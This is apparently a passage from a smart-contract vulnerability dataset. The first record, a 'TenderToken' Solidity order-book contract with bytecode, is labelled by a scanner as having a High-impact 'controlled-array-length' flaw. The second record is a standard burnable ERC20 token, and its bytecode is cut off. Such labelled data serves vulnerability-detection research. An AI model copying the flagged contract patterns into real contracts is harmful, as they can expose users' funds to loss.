allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Withdraw ethereum for a specified address * @param _to The address to transfer to * @param _value The amount to be transferred */ function withdraw(address _to, uint256 _value) onlyOwner public returns (bool) { require(_to != address(0)); require(_value <= address(this).balance); _to.transfer(_value); return true; } /** * @dev Withdraw token (assets of our contract) for a specified address * @param token The address of token for transfer * @param _to The address to transfer to * @param amount The amount to be transferred */ function withdrawToken(address token, address _to, uint256 amount) onlyOwner public returns (bool) { require(token != address(0)); require(Erc20Basic(token).balanceOf(address(this)) >= amount); bool transferOk = Erc20Basic(token).transfer(_to, amount); require(transferOk); return true; } } contract TenderToken is OwnedToken { // dividends uint256 public price = 1 ether; uint256 public sellComission = 2900; // 2.9% uint256 public buyComission = 2900; // 2.9% // dividers uint256 public priceUnits = 3 ether / 1000000; uint256 public sellComissionUnits = 100000; uint256 public buyComissionUnits = 100000; /** * Orders structs */ struct SellOrder { address user; uint256 shareNumber; } struct BuyOrder { address user; uint256 amountWei; } /** * Current orders list and total amounts in order */ SellOrder[] internal sellOrder; BuyOrder[] internal buyOrder; uint256 public sellOrderTotal; uint256 public buyOrderTotal; /** * Magic buy-order create * NB!!! big gas cost (non standart), see docs */ function() public payable { if(!isAdmin[msg.sender]) { buyOrder.push(BuyOrder(msg.sender, msg.value)); buyOrderTotal += msg.value; } } /** * Magic sell-order create */ function shareTransfer(address _from, address _to, uint256 _value) internal returns (bool) { if(_to == address(this)) { sellOrder.push(SellOrder(msg.sender, _value)); sellOrderTotal += _value; } return super.shareTransfer(_from, _to, _value); } /** * Configurate current price/comissions */ function setPrice(uint256 _price) onlyAdmin public { price = _price; } function setSellComission(uint _sellComission) onlyOwner public { sellComission = _sellComission; } function setBuyComission(uint _buyComission) onlyOwner public { buyComission = _buyComission; } /** * @dev Calculate default price for selected number of shares * @param shareNumber number of shares * @return amount */ function shareToWei(uint256 shareNumber) public view returns (uint256) { uint256 amountWei = shareNumber.mulDiv(price, priceUnits); uint256 comissionWei = amountWei.mulDiv(sellComission, sellComissionUnits); return amountWei.sub(comissionWei); } /** * @dev Calculate count of shares what can buy with selected amount for default price * @param amountWei amount for buy share * @return number of shares */ function weiToShare(uint256 amountWei) public view returns (uint256) { uint256 shareNumber = amountWei.mulDiv(priceUnits, price); uint256 comissionShare = shareNumber.mulDiv(buyComission, buyComissionUnits); return shareNumber.sub(comissionShare); } /** * Confirm all buys */ function confirmAllBuys() external onlyAdmin { while(buyOrder.length > 0) { _confirmOneBuy(); } } /** * Confirm all sells */ function confirmAllSells() external onlyAdmin { while(sellOrder.length > 0) { _confirmOneSell(); } } /** * Confirm one sell/buy (for problems fix) */ function confirmOneBuy() external onlyAdmin { if(buyOrder.length > 0) { _confirmOneBuy(); } } function confirmOneSell() external onlyAdmin { _confirmOneSell(); } /** * Cancel one sell (for problem fix) */ function cancelOneSell() internal { uint256 i = sellOrder.length-1; shareTransfer(address(this), sellOrder[i].user, sellOrder[i].shareNumber); sellOrderTotal -= sellOrder[i].shareNumber; delete sellOrder[sellOrder.length-1]; sellOrder.length--; } /** * Internal buy/sell */ function _confirmOneBuy() internal { uint256 i = buyOrder.length-1; uint256 amountWei = buyOrder[i].amountWei; uint256 shareNumber = weiToShare(amountWei); address user = buyOrder[i].user; shareTransfer(address(0), user, shareNumber); buyOrderTotal -= amountWei; delete buyOrder[buyOrder.length-1]; buyOrder.length--; } function _confirmOneSell() internal { uint256 i = sellOrder.length-1; uint256 shareNumber = sellOrder[i].shareNumber; uint256 amountWei = shareToWei(shareNumber); address user = sellOrder[i].user; shareTransfer(address(this), address(0), shareNumber); sellOrderTotal -= shareNumber; user.transfer(amountWei); delete sellOrder[sellOrder.length-1]; sellOrder.length--; } }
0x6080604052600436106101ed5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301e3366781146102b557806306279d72146102f357806306fdde031461031a578063095ea7b3146103a457806309dd4eea146103c8578063103e8154146103e957806317adfa08146103fe57806318160ddd146104135780631a70388f14610428578063212e25961461044057806323b872dd1461045557806324d7806c1461047f578063313ce567146104a05780634556611e146104cb5780634925480e146104e35780635bfface4146105045780636529abba1461051c578063661884631461053457806370a0823114610558578063730a0d80146105795780637702b8e41461059a5780638da5cb5b146105af57806391b7f5ed146105e057806395d89b41146105f8578063a035b1fe1461060d578063a62e5a7d14610622578063a7e21e8014610637578063a9059cbb14610658578063adc8b4cf1461067c578063b47f817e1461069d578063b84c8246146106b2578063c09812851461070b578063c47f002714610720578063c9cc049814610779578063d73dd6231461078e578063dd62ed3e146107b2578063e9dc438e146107d9578063f2fde38b146107ee578063f316ea781461080f578063f3fef3a314610824575b3360009081526007602052604090205460ff1615156102b3576040805180820190915233815234602082018181526010805460018101825560009190915292517f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae6726002909402938401805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055517f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae673909201919091556012805490910190555b005b3480156102c157600080fd5b506102df600160a060020a0360043581169060243516604435610848565b604080519115158252519081900360200190f35b3480156102ff57600080fd5b506103086109d5565b60408051918252519081900360200190f35b34801561032657600080fd5b5061032f6109db565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610369578181015183820152602001610351565b50505050905090810190601f1680156103965780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103b057600080fd5b506102df600160a060020a0360043516602435610a69565b3480156103d457600080fd5b506102df600160a060020a0360043516610acf565b3480156103f557600080fd5b50610308610ae4565b34801561040a57600080fd5b506102b3610aea565b34801561041f57600080fd5b50610308610b1d565b34801561043457600080fd5b50610308600435610b24565b34801561044c57600080fd5b50610308610b77565b34801561046157600080fd5b506102df600160a060020a0360043581169060243516604435610b7d565b34801561048b57600080fd5b506102df600160a060020a0360043516610c10565b3480156104ac57600080fd5b506104b5610c25565b6040805160ff9092168252519081900360200190f35b3480156104d757600080fd5b50610308600435610c2e565b3480156104ef57600080fd5b506102b3600160a060020a0360043516610c67565b34801561051057600080fd5b506102b3600435610c9f565b34801561052857600080fd5b506102b3600435610cbb565b34801561054057600080fd5b506102df600160a060020a0360043516602435610cd7565b34801561056457600080fd5b50610308600160a060020a0360043516610dc9565b34801561058557600080fd5b506102b3600160a060020a0360043516610de4565b3480156105a657600080fd5b506102b3610e1c565b3480156105bb57600080fd5b506105c4610e42565b60408051600160a060020a039092168252519081900360200190f35b3480156105ec57600080fd5b506102b3600435610e51565b34801561060457600080fd5b5061032f610e74565b34801561061957600080fd5b50610308610ece565b34801561062e57600080fd5b50610308610ed4565b34801561064357600080fd5b506102b3600160a060020a0360043516610eda565b34801561066457600080fd5b506102df600160a060020a0360043516602435610f15565b34801561068857600080fd5b506102b3600160a060020a0360043516610f29565b3480156106a957600080fd5b506102b3610f64565b3480156106be57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102b3943694929360249392840191908190840183828082843750949750610f9a9650505050505050565b34801561071757600080fd5b50610308610fc8565b34801561072c57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102b3943694929360249392840191908190840183828082843750949750610fce9650505050505050565b34801561078557600080fd5b50610308610ff8565b34801561079a57600080fd5b506102df600160a060020a0360043516602435610ffe565b3480156107be57600080fd5b50610308600160a060020a0360043581169060243516611097565b3480156107e557600080fd5b506102b36110c2565b3480156107fa57600080fd5b506102b3600160a060020a03600435166110f8565b34801561081b57600080fd5b5061030861118d565b34801561083057600080fd5b506102df600160a060020a0360043516602435611193565b6006546000908190600160a060020a0316331461086457600080fd5b600160a060020a038516151561087957600080fd5b604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290518491600160a060020a038816916370a08231916024808201926020929091908290030181600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d602081101561090757600080fd5b5051101561091457600080fd5b84600160a060020a031663a9059cbb85856040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561099057600080fd5b505af11580156109a4573d6000803e3d6000fd5b505050506040513d60208110156109ba57600080fd5b505190508015156109ca57600080fd5b506001949350505050565b600c5481565b6000805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a615780601f10610a3657610100808354040283529160200191610a61565b820191906000526020600020905b815481529060010190602001808311610a4457829003601f168201915b505050505081565b336000818152600360209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60086020526000908152604090205460ff1681565b600d5481565b3360009081526007602052604090205460ff161515610b0857600080fd5b60105460001015610b1b57610b1b611210565b565b6005545b90565b6000806000610b42600954600c54866112e39092919063ffffffff16565b9150610b5d600a54600d54846112e39092919063ffffffff16565b9050610b6f828263ffffffff61130516565b949350505050565b60115481565b600160a060020a0383166000908152600360209081526040808320338452909152812054821115610bad57600080fd5b600160a060020a0384166000908152600360209081526040808320338452909152902054610be1908363ffffffff61130516565b600160a060020a0385166000908152600360209081526040808320338452909152902055610b6f848484611317565b60076020526000908152604090205460ff1681565b60025460ff1681565b6000806000610c4c600c54600954866112e39092919063ffffffff16565b9150610b5d600b54600e54846112e39092919063ffffffff16565b600654600160a060020a03163314610c7e57600080fd5b600160a060020a03166000908152600760205260409020805460ff19169055565b600654600160a060020a03163314610cb657600080fd5b600b55565b600654600160a060020a03163314610cd257600080fd5b600a55565b336000908152600360209081526040808320600160a060020a038616845290915281205480831115610d2c57336000908152600360209081526040808320600160a060020a0388168452909152812055610d61565b610d3c818463ffffffff61130516565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526004602052604090205490565b600654600160a060020a03163314610dfb57600080fd5b600160a060020a03166000908152600860205260409020805460ff19169055565b3360009081526007602052604090205460ff161515610e3a57600080fd5b610b1b6113dd565b600654600160a060020a031681565b3360009081526007602052604090205460ff161515610e6f57600080fd5b600955565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a615780601f10610a3657610100808354040283529160200191610a61565b60095481565b600a5481565b600654600160a060020a03163314610ef157600080fd5b600160a060020a03166000908152600860205260409020805460ff19166001179055565b6000610f22338484611317565b9392505050565b600654600160a060020a03163314610f4057600080fd5b600160a060020a03166000908152600760205260409020805460ff19166001179055565b3360009081526007602052604090205460ff161515610f8257600080fd5b60105460001015610b1b57610f95611210565b610f82565b600654600160a060020a03163314610fb157600080fd5b8051610fc4906001906020840190611723565b5050565b600e5481565b600654600160a060020a03163314610fe557600080fd5b8051610fc4906000906020840190611723565b600b5481565b336000908152600360209081526040808320600160a060020a0386168452909152812054611032908363ffffffff6114e116565b336000818152600360209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b3360009081526007602052604090205460ff1615156110e057600080fd5b600f5460001015610b1b576110f36113dd565b6110e0565b600654600160a060020a0316331461110f57600080fd5b600160a060020a038116151561112457600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60125481565b600654600090600160a060020a031633146111ad57600080fd5b600160a060020a03831615156111c257600080fd5b30318211156111d057600080fd5b604051600160a060020a0384169083156108fc029084906000818181858888f19350505050158015611206573d6000803e3d6000fd5b5060019392505050565b60108054600019810191600091829182918590811061122b57fe5b906000526020600020906002020160010154925061124883610c2e565b915060108481548110151561125957fe5b60009182526020822060029091020154600160a060020a0316915061127f908284611317565b5060128054849003905560108054600019810190811061129b57fe5b600091825260208220600290910201805473ffffffffffffffffffffffffffffffffffffffff191681556001015560108054906112dc9060001983016117a1565b5050505050565b6000806112f085856114f0565b90506112fc818461151b565b95945050505050565b60008282111561131157fe5b50900390565b6000600160a060020a0383163014156113d2576040805180820190915233815260208101838152600f805460018101825560009190915291517f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8026002909302928301805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055517f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8039091015560118054830190555b610b6f848484611532565b600f805460001981019160009182918291859081106113f857fe5b906000526020600020906002020160010154925061141583610b24565b9150600f8481548110151561142657fe5b60009182526020822060029091020154600160a060020a0316915061144d90309085611317565b50601180548490039055604051600160a060020a0382169083156108fc029084906000818181858888f1935050505015801561148d573d6000803e3d6000fd5b50600f805460001981019081106114a057fe5b600091825260208220600290910201805473ffffffffffffffffffffffffffffffffffffffff1916815560010155600f8054906112dc9060001983016117a1565b600082820183811015610f2257fe5b6000808315156115035760009150610dc2565b5082820282848281151561151357fe5b0414610f2257fe5b600080828481151561152957fe5b04949350505050565b600160a060020a03831660009081526008602052604081205460ff161561155857600080fd5b600160a060020a03841615156115c257604080518381529051600160a060020a038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a26005546115ba908363ffffffff6114e116565b60055561162a565b600160a060020a0384166000908152600460205260409020548211156115e757600080fd5b600160a060020a038416600090815260046020526040902054611610908363ffffffff61130516565b600160a060020a0385166000908152600460205260409020555b600160a060020a038316151561168b5760408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2600554611683908363ffffffff61130516565b6005556116ce565b600160a060020a0383166000908152600460205260409020546116b4908363ffffffff6114e116565b600160a060020a0384166000908152600460205260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061176457805160ff1916838001178555611791565b82800160010185558215611791579182015b82811115611791578251825591602001919060010190611776565b5061179d9291506117d2565b5090565b8154818355818111156117cd576002028160020283600052602060002091820191016117cd91906117ec565b505050565b610b2191905b8082111561179d57600081556001016117d8565b610b2191905b8082111561179d57805473ffffffffffffffffffffffffffffffffffffffff19168155600060018201556002016117f25600a165627a7a723058207533cae6190a5159cf9c6c9b8d114609759f7f0a2385991486a1e17b5875459e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,812
0xaa99199d1e9644b588796F3215089878440D58e0
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } contract ALPHRToken is ERC20Burnable { /** * @dev Mint 10mln tokens to deplyer */ constructor() ERC20("ALPHR", "ALPHR") { _mint(_msgSender(), 10_000_000 * (10**uint256(decimals()))); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b4114610226578063a457c2d714610244578063a9059cbb14610274578063dd62ed3e146102a4576100cf565b806342966c68146101be57806370a08231146101da57806379cc67901461020a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102d4565b6040516100e9919061143a565b60405180910390f35b61010c60048036038101906101079190610f58565b610366565b604051610119919061141f565b60405180910390f35b61012a610384565b604051610137919061159c565b60405180910390f35b61015a60048036038101906101559190610f09565b61038e565b604051610167919061141f565b60405180910390f35b61017861048f565b60405161018591906115b7565b60405180910390f35b6101a860048036038101906101a39190610f58565b610498565b6040516101b5919061141f565b60405180910390f35b6101d860048036038101906101d39190610f94565b610544565b005b6101f460048036038101906101ef9190610ea4565b610558565b604051610201919061159c565b60405180910390f35b610224600480360381019061021f9190610f58565b6105a0565b005b61022e610624565b60405161023b919061143a565b60405180910390f35b61025e60048036038101906102599190610f58565b6106b6565b60405161026b919061141f565b60405180910390f35b61028e60048036038101906102899190610f58565b6107aa565b60405161029b919061141f565b60405180910390f35b6102be60048036038101906102b99190610ecd565b6107c8565b6040516102cb919061159c565b60405180910390f35b6060600380546102e390611700565b80601f016020809104026020016040519081016040528092919081815260200182805461030f90611700565b801561035c5780601f106103315761010080835404028352916020019161035c565b820191906000526020600020905b81548152906001019060200180831161033f57829003601f168201915b5050505050905090565b600061037a61037361084f565b8484610857565b6001905092915050565b6000600254905090565b600061039b848484610a22565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103e661084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045d906114dc565b60405180910390fd5b6104838561047261084f565b858461047e9190611644565b610857565b60019150509392505050565b60006012905090565b600061053a6104a561084f565b8484600160006104b361084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461053591906115ee565b610857565b6001905092915050565b61055561054f61084f565b82610ca1565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006105b3836105ae61084f565b6107c8565b9050818110156105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ef906114fc565b60405180910390fd5b6106158361060461084f565b84846106109190611644565b610857565b61061f8383610ca1565b505050565b60606004805461063390611700565b80601f016020809104026020016040519081016040528092919081815260200182805461065f90611700565b80156106ac5780601f10610681576101008083540402835291602001916106ac565b820191906000526020600020905b81548152906001019060200180831161068f57829003601f168201915b5050505050905090565b600080600160006106c561084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610782576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107799061157c565b60405180910390fd5b61079f61078d61084f565b85858461079a9190611644565b610857565b600191505092915050565b60006107be6107b761084f565b8484610a22565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be9061155c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e9061149c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a15919061159c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a92576040517f08c379a0000000000